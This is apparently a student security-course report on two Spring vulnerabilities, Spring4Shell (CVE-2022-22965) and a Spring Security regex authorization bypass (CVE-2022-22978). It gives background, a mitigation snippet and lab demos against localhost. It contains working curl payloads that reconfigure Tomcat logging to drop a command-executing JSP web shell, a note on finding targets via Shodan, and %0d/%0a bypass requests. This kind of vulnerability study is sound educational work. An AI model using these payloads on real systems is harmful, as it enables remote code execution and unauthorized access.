Group 3 Project 2 Report === :::info 組別:第三組 題目:CVE-2022-22965 組員姓名學號: 1. 劉維仁 105360725 2. 林士智 109003814 3. 李允立 110005521 ::: ## 原機制正常運作原理 Spring Core REC zero-day 漏洞,或稱 SpringShell、Spring4Shell 存在於 JDK 9.0 或以上的版本。 Spring Framework 是 Java 平台上最廣受歡迎的輕量應用框架,此框架完整支援了所謂的「模型、檢視、控制器」(Model-View-Controlle,簡稱 MVC) 應用程式,許多公司和組織皆有在其網際網路對向服務(internet-facing service)中採用此框架。 classLoader 負責在運行時將 Java 類動態加載到 JVM(Java 虛擬機)。它們也是 JRE(Java runtime environment)的一部分。因此,借助classLoader,JVM 無需了解底層文件或文件系統即可運行 Java 程序。 此外,這些 Java 類不會一次全部加載到記憶體中,而是在應用程序需要它們時加載。這就是 classLoader 發揮作用的地方。他們負責將 class 載入到記憶體中。 在 Spring Core 當中,「class.classLoader」和「class.protectionDomain」原本就有一套邏輯機制來防止駭客存取類別物件的子屬性。但這套邏輯不夠周延,所以事實上可以透過「class.module.classLoader」選擇器 (selector) 來避開這項機制。 這意謂所有應用 Java 的產品或網頁服務都可能受此漏洞影響。 #### Prevention Update Spring version or filter by WAF ```java= import org.springframework.core.annotation.Order; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.bind.annotation.InitBinder; @ControllerAdvice @Order(10000) public class a{ @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] abd = new String[]{“class.*“, “Class.*“, “*.class.*“, “*.Class.*“}; dataBinder.setDisallowedFields(abd); } } ``` ## 如何濫用此機制 特殊物件 (special object) 或類別 (class) 在某些條件下暴露在外。經常有一些請求參數會綁定至 POJO 物件卻未使用 @RequestBody 標註 (為了方便從 HTTP 請求中讀取參數)。此時類別變數會含有一個參照 (reference) 指向對應 HTTP 參數的 POJO 物件。 駭客可在 HTTP 請求當中透過類別參數來存取某物件,駭客也可經由類別參數來存取物件的所有子屬性 (child property)。也就是說,他們只需透過層層的親屬關係,就能存取系統上各種其他重要物件。 存取 Apache Tomcat 中的 AccessLogValve 這個物件,並使用「class.module.classLoader.resources.context.parent.pipeline.firstpath」類別變數作為攻擊工具,作法是修改 AccessLogValve 的屬性 (如:pattern、suffix、directory 和 prefix) 來讓存取記錄檔寫入一個網站指令介面檔 (web shell) 到網站根目錄 (web root)。 通過框架的參數綁定功能獲取 AccessLogValve 對象並諸如惡意字段值,從而觸發 pipeline 機制並寫入任意路徑下的文件。ex: Spring 框架以及衍生的框架 spring-beans-*.jar 文件或者存在 CachedIntrospectionResults.class 當 Spring 部署到 Apache Tomcat 時,WebAppClassLoader 是可訪問的,這使得攻擊者可以調用 getter 和 setter,最終將惡意 JSP 文件寫入。 但是如果 Spring 是使用 Embedded Tomcat Servlet Container 部署的,則 classLoader 是一個具有有限訪問權限的 LaunchedURLClassLoader。 1. Searching Spring version under 2.6.5(included) or before 5.3.18, 5.2.20 Spring Framework via [shodan](https://www.shodan.io/) and upload webshell. 2. RCE ## 如何實作可以達成濫用的效果 #### Setup Spring ![](https://i.imgur.com/oXohNlH.jpg) #### Payload to changes Tomcat config valve ` curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" ` #### Payload to create webshell ` curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x" ` ![](https://i.imgur.com/noL8CwS.jpg) #### Execute shellcode ![webshell](https://i.imgur.com/iNFx3B7.jpg) --- Reference: - https://github.com/itsecurityco/CVE-2022-22965 - https://teamt5.org/tw/posts/spring-rce-zeroday-vulnerability/ --- :::info 組別:第三組 題目:CVE-2022-22978 組員姓名學號: 1. 劉維仁 105360725 2. 林士智 109003814 3. 李允立 110005521 ::: ## 原機制正常運作原理 Spring Security 是 Spring 家族中基於 Java / Java EE 框架,為企業應用程序提供身份驗證,授權和其他安全功能。 在 Spring Security 的 Regular expresion 中使用帶有 `.` 的 RegexRequestMatcher 的可能容易受到授權繞過。 影響版本如下: - 5.5.7 之前的 5.5.x5.6.4 之前的 5.6.x早期不支持的版本 ![](https://i.imgur.com/ic4NoTq.png) `Pattern` 是 `java.util.regex` 中的其中一個類別,負責處理 Regex `Pattern.DOTALL`:表示更改`.`的含義,使它與每一個字符匹配(包括 `\n`),默認情況下, 正則表達式中點(`.`)不會匹配 `\n`, 設置了 `Pattern.DOTALL` 模式, 才會匹配所有字符包括 `\n`。 `Pattern.CASE_INSENSITIVE`:忽略大小寫。 可以看到 `RegexRequestMatcher.java` 修復了增加對 `\n` 的匹配以及忽略大小寫。而且下`RegexRequestMatchertests.java` 也給了繞過的提示(`\r` 的 URl 編碼為 `%0d`,`\n` 的URL 編碼為 `%0a`)。 ![](https://i.imgur.com/ojIcWHp.png) ## 如何濫用此機制 在需驗證的頁面中透過加入 `%0a` or `%0d` 繞過 ## 如何實作可以達成濫用的效果 以下 demo 沿用原本的 Spring,並加入 spring security ```xml ... <properties> <spring-security.version>5.6.3</spring-security.version> </properties> ... <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-security</artifactId> </dependency> ... ``` 加入 controller.java ```java= package com.example.demo.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; @RestController public class ControllerDemo1 { @GetMapping("/admin/*") public String ToAdmin() {return "hello admin"; } } ``` 加入 config.java ```java= package com.example.demo.config; import org.springframework.context.annotation.Configuration; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; @Configuration public class SecurityConfigDemo1 extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http.authorizeRequests().regexMatchers("/admin/.*").authenticated(); } } ``` ```shell= curl http://localhost:8080/demo/admin/test ``` > {"timestamp":"2022-05-25T13:29:54.828+00:00","status":403,"error":"Forbidden","path":"/demo/admin/%0a123"}% ```shell= curl http://localhost:8080/demo/admin/%0dtest ``` > hello admin